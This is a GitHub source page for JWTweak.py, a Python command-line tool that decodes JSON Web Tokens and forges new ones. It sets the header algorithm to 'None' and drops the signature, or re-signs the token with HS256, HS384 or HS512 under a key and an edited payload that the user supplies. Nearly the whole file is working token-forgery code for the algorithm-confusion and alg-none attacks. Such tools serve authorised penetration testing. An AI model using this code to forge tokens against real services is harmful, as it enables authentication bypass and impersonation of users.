forked from rishuranjanofficial/JWTweak
-
Notifications
You must be signed in to change notification settings - Fork 0
/
JWTweak.py
477 lines (403 loc) · 23 KB
/
JWTweak.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
#JWTweak-v1.1.1
import os
import jwt
import re
import base64
import math
import json
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def jwtWeak():
""" Automate the progress of changing the algorithm of input JWT Token and then generate the new JWT based on changed algorithm """
print("Enter the JWT Token:")
in_jwt = input()
if re.match(r'^[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*$',in_jwt):
print(f"{bcolors.OKGREEN}\nThis is a valid input JWT Token{bcolors.ENDC}\n")
print(f"{bcolors.BOLD}*************************************************MAIN MENU*************************************************")
choice = input("""
1: Detect the algorithm of the input JWT Token
2: Base64 decode the input JWT Token
3: Generate new JWT Token by changing the algorithm of the input JWT to 'None'
4: Generate new JWT Token by changing the algorithm of the input JWT to 'HS256'
5: Generate new JWT Token by changing the algorithm of the input JWT to 'HS384'
6: Generate new JWT Token by changing the algorithm of the input JWT to 'HS512'
7: Quit
Please enter your choice: """+f"{bcolors.ENDC}")
print (f"{bcolors.BOLD}***********************************************************************************************************{bcolors.ENDC}")
#######################################################################################
#Detect the algorithm of the input JWT Token
#######################################################################################
if choice == '1':
try:
part_jwt=in_jwt.split('.')
Header=part_jwt[0]
if len(Header) % 4 != 0: #check if multiple of 4
while len(Header) % 4 != 0:
Header = Header + "="
req_str = base64.b64decode(Header)
else:
req_str = base64.b64decode(Header)
str_req_str=req_str.decode('utf-8')
json_header = json.loads(str_req_str)
algo=json_header['alg']
print("\nThe present algorithm of input JWT Token- "+f"{bcolors.OKGREEN}"+f"{bcolors.BOLD}"+ algo+f"{bcolors.UNDERLINE}{bcolors.ENDC}\n")
except:
print(f"{bcolors.FAIL}\nThis is not a JWT Token. Please check again{bcolors.ENDC}\n")
#######################################################################################
#Base 64 Decode JWT
#######################################################################################
elif choice == '2':
try:
part_jwt=in_jwt.split('.')
Header=part_jwt[0]
Payload=part_jwt[1]
Signature=part_jwt[2]
print(f"{bcolors.WARNING}\nBefore Base64 Decode:{bcolors.ENDC}")
#base64 encoded Header
print("\nHeader="+Header)
#base64 encoded Payload
print("\nPayload="+Payload)
#base64 encoded Signature
print("\nSignature="+Signature)
print(f"{bcolors.WARNING}\nAfter Base64 Decode:{bcolors.ENDC}")
if len(Header) % 4 != 0: #check if multiple of 4
while len(Header) % 4 != 0:
Header = Header + "="
req_str = base64.b64decode(Header)
else:
req_str = base64.b64decode(Header)
req_str=req_str.decode('utf-8')
#base64 decoded Header
print("\nHeader="+str(req_str))
if len(Payload) % 4 != 0: #check if multiple of 4
while len(Payload) % 4 != 0:
Payload = Payload + "="
req_str = base64.b64decode(Payload)
else:
req_str = base64.b64decode(Payload)
req_str=req_str.decode('utf-8')
#base64 decoded Payload
print("\nPayload="+str(req_str))
Signature=Signature.replace('_','/').replace('-','+')
if len(Signature) % 4 != 0: #check if multiple of 4
while len(Signature) % 4 != 0:
Signature = Signature + "="
req_str = base64.b64decode(Signature)
else:
req_str = base64.b64decode(Signature)
#base64 decoded Signature
print("\nSignature="+str(req_str))
except:
print(f"{bcolors.FAIL}\nThis is not a JWT Token. Please check again{bcolors.ENDC}\n")
#######################################################################################
#Generate JWT Token with Algorithm type 'None'
#######################################################################################
elif choice == '3':
try:
part_jwt=in_jwt.split('.')
Header=part_jwt[0]
Payload=part_jwt[1]
Signature=part_jwt[2]
if len(Header) % 4 != 0: #check if multiple of 4
while len(Header) % 4 != 0:
Header = Header + "="
req_str = base64.b64decode(Header)
else:
req_str = base64.b64decode(Header)
req_str=req_str.decode('utf-8')
json_header = json.loads(req_str)
algo=json_header['alg']
print(f"{bcolors.WARNING}\nBefore Algorithm Coversion:{bcolors.ENDC}")
print("\nThe present algorithm of input JWT Token- "+f"{bcolors.OKGREEN}"+f"{bcolors.BOLD}"+ algo+f"{bcolors.UNDERLINE}{bcolors.ENDC}\n")
#base64 encoded Header
print("\nHeader="+Header)
#base64 encoded Payload
print("\nPayload="+Payload)
#base64 encoded Signature
print("\nSignature="+Signature)
print(f"{bcolors.WARNING}\nAfter Algorithm Changed to 'None':{bcolors.ENDC}")
json_header['alg']='None'
str_json_header=json.dumps(json_header)
print("\nModified Header(Plain Text)="+str(str_json_header))
if len(Payload) % 4 != 0: #check if multiple of 4
while len(Payload) % 4 != 0:
Payload = Payload + "="
req_str = base64.b64decode(Payload)
else:
req_str = base64.b64decode(Payload)
b64decoded_payload=req_str.decode('utf-8')
#base64 decoded Payload
print("\nPayload(Plain Text)="+str(b64decoded_payload))
print(f"{bcolors.BOLD}\nPlease provide the modified Payload(Json format) [if not, press ENTER]:{bcolors.ENDC}")
mod_payload=input()
if re.match(r'(.*?)(?:")',mod_payload):
print("\nModified payload is:"+mod_payload)
b64_Header = base64.b64encode(str_json_header.encode("utf-8"))
b64_encoded_header = str(b64_Header, "utf-8")
b64_Payload = base64.b64encode(mod_payload.encode("utf-8"))
b64_encoded_Payload = str(b64_Payload, "utf-8")
print("\nThe New JWT Token with Algorithm changed to 'None':\n\n"+f"{bcolors.OKGREEN}"+f"{bcolors.BOLD}"+b64_encoded_header+"."+b64_encoded_Payload+"."+f"{bcolors.OKGREEN}{bcolors.ENDC}")
elif not mod_payload:
print(f"{bcolors.OKBLUE}\nThe payload is unchanged{bcolors.ENDC}")
json_header=str(json_header)
b64_Header = base64.b64encode(str_json_header.encode("utf-8"))
b64_encoded_header = str(b64_Header, "utf-8")
b64decoded_payload=str(b64decoded_payload)
b64_Payload = base64.b64encode(b64decoded_payload.encode("utf-8"))
b64_encoded_Payload = str(b64_Payload, "utf-8")
print("\nThe New JWT Token with Algorithm changed to 'None':\n\n"+f"{bcolors.OKGREEN}"+f"{bcolors.BOLD}"+b64_encoded_header+"."+b64_encoded_Payload+"."+f"{bcolors.OKGREEN}{bcolors.ENDC}")
else:
print("Not Valid Payload")
except:
print(f"{bcolors.FAIL}\nThis is not a JWT Token. Please check again{bcolors.ENDC}\n")
#######################################################################################
#Generate JWT Token with Algorithm type 'HS256'
#######################################################################################
elif choice == '4':
try:
part_jwt=in_jwt.split('.')
Header=part_jwt[0]
Payload=part_jwt[1]
Signature=part_jwt[2]
if len(Header) % 4 != 0: #check if multiple of 4
while len(Header) % 4 != 0:
Header = Header + "="
req_str = base64.b64decode(Header)
else:
req_str = base64.b64decode(Header)
req_str=req_str.decode('utf-8')
b64_decoded_header=req_str
json_header = json.loads(req_str)
algo=json_header['alg']
print(f"{bcolors.WARNING}\nBefore Algorithm Coversion:{bcolors.ENDC}")
print("\nThe present algorithm of input JWT Token- "+f"{bcolors.OKGREEN}"+f"{bcolors.BOLD}"+ algo+f"{bcolors.UNDERLINE}{bcolors.ENDC}\n")
#base64 encoded Header
print("\nHeader="+Header)
#base64 encoded Payload
print("\nPayload="+Payload)
#base64 encoded Signature
print("\nSignature="+Signature)
print(f"{bcolors.WARNING}\nAfter Algorithm Changed to 'HS256':{bcolors.ENDC}")
json_header['alg']='HS256'
str_json_header=json.dumps(json_header)
print("\nModified Header(Plain Text)="+str(str_json_header))
if len(Payload) % 4 != 0: #check if multiple of 4
while len(Payload) % 4 != 0:
Payload = Payload + "="
req_str = base64.b64decode(Payload)
else:
req_str = base64.b64decode(Payload)
b64decoded_payload=req_str.decode('utf-8')
#json_payload=json.loads(b64decoded_payload)
#base64 decoded Payload
print("\nPayload(Plain Text)="+str(b64decoded_payload))
print(f"{bcolors.BOLD}\nPlease provide the modified Payload(Json format) [if not, press ENTER]:{bcolors.ENDC}")
mod_payload=input()
if re.match(r'(.*?)(?:")',mod_payload):
print("\nModified payload is:"+mod_payload)
# json_mod_payload=
json_header=str(json_header)
b64_Header = base64.b64encode(json_header.encode("utf-8"))
b64_encoded_header = str(b64_Header, "utf-8")
mod_payload=str(mod_payload)
b64_Payload = base64.b64encode(mod_payload.encode("utf-8"))
b64_encoded_Payload = str(b64_Payload, "utf-8")
json_mod_payload=json.loads(mod_payload)
print("\nEnter the symmetic key/secret for generating the signature:")
hs256_key=input()
encoded_HS256 = jwt.encode(json_mod_payload, hs256_key, algorithm='HS256')
str_encoded_HS256=encoded_HS256.decode('utf')
print(f"{bcolors.OKGREEN}\nThe New JWT Token with Algorithm changed to 'HS256':\n"+str(str_encoded_HS256)+f"{bcolors.OKGREEN}{bcolors.ENDC}")
elif not mod_payload:
print(f"{bcolors.OKBLUE}\nThe payload is unchanged{bcolors.ENDC}")
json_header=str(json_header)
b64_Header = base64.b64encode(json_header.encode("utf-8"))
b64_encoded_header = str(b64_Header, "utf-8")
b64decoded_payload=str(b64decoded_payload)
b64_Payload = base64.b64encode(b64decoded_payload.encode("utf-8"))
b64_encoded_Payload = str(b64_Payload, "utf-8")
json_mod_payload=json.loads(b64decoded_payload)
print("\nEnter the symmetic key/secret for generating the signature:")
hs256_key=input()
encoded_HS256 = jwt.encode(json_mod_payload, hs256_key, algorithm='HS256')
str_encoded_HS256=encoded_HS256.decode('utf')
print(f"{bcolors.OKGREEN}\nThe New JWT Token with Algorithm changed to 'HS256':\n"+str(str_encoded_HS256)+f"{bcolors.OKGREEN}{bcolors.ENDC}")
else:
print("Not Valid Payload")
except:
print(f"{bcolors.FAIL}\nThis is not a JWT Token. Please check again{bcolors.ENDC}\n")
#######################################################################################
#Generate JWT Token with Algorithm type 'HS384'
#######################################################################################
elif choice == '5':
try:
part_jwt=in_jwt.split('.')
Header=part_jwt[0]
Payload=part_jwt[1]
Signature=part_jwt[2]
if len(Header) % 4 != 0: #check if multiple of 4
while len(Header) % 4 != 0:
Header = Header + "="
req_str = base64.b64decode(Header)
else:
req_str = base64.b64decode(Header)
req_str=req_str.decode('utf-8')
b64_decoded_header=req_str
json_header = json.loads(req_str)
algo=json_header['alg']
print(f"{bcolors.WARNING}\nBefore Algorithm Coversion:{bcolors.ENDC}")
print("\nThe present algorithm of input JWT Token- "+f"{bcolors.OKGREEN}"+f"{bcolors.BOLD}"+ algo+f"{bcolors.UNDERLINE}{bcolors.ENDC}\n")
#base64 encoded Header
print("\nHeader="+Header)
#base64 encoded Payload
print("\nPayload="+Payload)
#base64 encoded Signature
print("\nSignature="+Signature)
print(f"{bcolors.WARNING}\nAfter Algorithm Changed to 'HS384':{bcolors.ENDC}")
json_header['alg']='HS384'
str_json_header=json.dumps(json_header)
print("\nModified Header(Plain Text)="+str(str_json_header))
if len(Payload) % 4 != 0: #check if multiple of 4
while len(Payload) % 4 != 0:
Payload = Payload + "="
req_str = base64.b64decode(Payload)
else:
req_str = base64.b64decode(Payload)
b64decoded_payload=req_str.decode('utf-8')
#json_payload=json.loads(b64decoded_payload)
#base64 decoded Payload
print("\nPayload(Plain Text)="+str(b64decoded_payload))
print(f"{bcolors.BOLD}\nPlease provide the modified Payload(Json format) [if not, press ENTER]:{bcolors.ENDC}")
mod_payload=input()
if re.match(r'(.*?)(?:")',mod_payload):
print("\nModified payload is:"+mod_payload)
# json_mod_payload=
json_header=str(json_header)
b64_Header = base64.b64encode(json_header.encode("utf-8"))
b64_encoded_header = str(b64_Header, "utf-8")
mod_payload=str(mod_payload)
b64_Payload = base64.b64encode(mod_payload.encode("utf-8"))
b64_encoded_Payload = str(b64_Payload, "utf-8")
json_mod_payload=json.loads(mod_payload)
print("\nEnter the symmetic key/secret for generating the signature:")
hs256_key=input()
encoded_HS256 = jwt.encode(json_mod_payload, hs256_key, algorithm='HS384')
str_encoded_HS256=encoded_HS256.decode('utf')
print(f"{bcolors.OKGREEN}\nThe New JWT Token with Algorithm changed to 'HS384':\n"+str(str_encoded_HS256)+f"{bcolors.OKGREEN}{bcolors.ENDC}")
elif not mod_payload:
print(f"{bcolors.OKBLUE}\nThe payload is unchanged{bcolors.ENDC}")
json_header=str(json_header)
b64_Header = base64.b64encode(json_header.encode("utf-8"))
b64_encoded_header = str(b64_Header, "utf-8")
b64decoded_payload=str(b64decoded_payload)
b64_Payload = base64.b64encode(b64decoded_payload.encode("utf-8"))
b64_encoded_Payload = str(b64_Payload, "utf-8")
json_mod_payload=json.loads(b64decoded_payload)
print("\nEnter the symmetic key/secret for generating the signature:")
hs256_key=input()
encoded_HS256 = jwt.encode(json_mod_payload, hs256_key, algorithm='HS384')
str_encoded_HS256=encoded_HS256.decode('utf')
print(f"{bcolors.OKGREEN}\nThe New JWT Token with Algorithm changed to 'HS384':\n"+str(str_encoded_HS256)+f"{bcolors.OKGREEN}{bcolors.ENDC}")
else:
print("Not Valid Payload")
except:
print(f"{bcolors.FAIL}\nThis is not a JWT Token. Please check again{bcolors.ENDC}\n")
#######################################################################################
#Generate JWT Token with Algorithm type 'HS512'
#######################################################################################
elif choice== '6':
try:
part_jwt=in_jwt.split('.')
Header=part_jwt[0]
Payload=part_jwt[1]
Signature=part_jwt[2]
if len(Header) % 4 != 0: #check if multiple of 4
while len(Header) % 4 != 0:
Header = Header + "="
req_str = base64.b64decode(Header)
else:
req_str = base64.b64decode(Header)
req_str=req_str.decode('utf-8')
b64_decoded_header=req_str
json_header = json.loads(req_str)
algo=json_header['alg']
print(f"{bcolors.WARNING}\nBefore Algorithm Coversion:{bcolors.ENDC}")
print("\nThe present algorithm of input JWT Token- "+f"{bcolors.OKGREEN}"+f"{bcolors.BOLD}"+ algo+f"{bcolors.UNDERLINE}{bcolors.ENDC}\n")
#base64 encoded Header
print("\nHeader="+Header)
#base64 encoded Payload
print("\nPayload="+Payload)
#base64 encoded Signature
print("\nSignature="+Signature)
print(f"{bcolors.WARNING}\nAfter Algorithm Changed to 'HS512':{bcolors.ENDC}")
json_header['alg']='HS512'
str_json_header=json.dumps(json_header)
print("\nModified Header(Plain Text)="+str(str_json_header))
if len(Payload) % 4 != 0: #check if multiple of 4
while len(Payload) % 4 != 0:
Payload = Payload + "="
req_str = base64.b64decode(Payload)
else:
req_str = base64.b64decode(Payload)
b64decoded_payload=req_str.decode('utf-8')
#json_payload=json.loads(b64decoded_payload)
#base64 decoded Payload
print("\nPayload(Plain Text)="+str(b64decoded_payload))
print(f"{bcolors.BOLD}\nPlease provide the modified Payload(Json format) [if not, press ENTER]:{bcolors.ENDC}")
mod_payload=input()
if re.match(r'(.*?)(?:")',mod_payload):
print("\nModified payload is:"+mod_payload)
# json_mod_payload=
json_header=str(json_header)
b64_Header = base64.b64encode(json_header.encode("utf-8"))
b64_encoded_header = str(b64_Header, "utf-8")
mod_payload=str(mod_payload)
b64_Payload = base64.b64encode(mod_payload.encode("utf-8"))
b64_encoded_Payload = str(b64_Payload, "utf-8")
json_mod_payload=json.loads(mod_payload)
print("\nEnter the symmetic key/secret for generating the signature:")
hs256_key=input()
encoded_HS256 = jwt.encode(json_mod_payload, hs256_key, algorithm='HS512')
str_encoded_HS256=encoded_HS256.decode('utf')
print(f"{bcolors.OKGREEN}\nThe New JWT Token with Algorithm changed to 'HS512':\n"+str(str_encoded_HS256)+f"{bcolors.OKGREEN}{bcolors.ENDC}")
elif not mod_payload:
print(f"{bcolors.OKBLUE}\nThe payload is unchanged{bcolors.ENDC}")
json_header=str(json_header)
b64_Header = base64.b64encode(json_header.encode("utf-8"))
b64_encoded_header = str(b64_Header, "utf-8")
b64decoded_payload=str(b64decoded_payload)
b64_Payload = base64.b64encode(b64decoded_payload.encode("utf-8"))
b64_encoded_Payload = str(b64_Payload, "utf-8")
json_mod_payload=json.loads(b64decoded_payload)
print("\nEnter the symmetic key/secret for generating the signature:")
hs256_key=input()
encoded_HS256 = jwt.encode(json_mod_payload, hs256_key, algorithm='HS512')
str_encoded_HS256=encoded_HS256.decode('utf')
print(f"{bcolors.OKGREEN}\nThe New JWT Token with Algorithm changed to 'HS512':\n"+str(str_encoded_HS256)+f"{bcolors.OKGREEN}{bcolors.ENDC}")
else:
print("Not Valid Payload")
except:
print(f"{bcolors.FAIL}\nThis is not a JWT Token. Please check again{bcolors.ENDC}\n")
#######################################################################################
# Exit
#######################################################################################
elif choice=='7':
exit()
else:
print("Please select the correct number")
print("Please try again\n\n")
jwtWeak()
else:
print(f"{bcolors.FAIL}\nThis is not a valid input JWT Token{bcolors.ENDC}\n")
#######################################################################################
# Main
#######################################################################################
if __name__ == '__main__':
jwtWeak()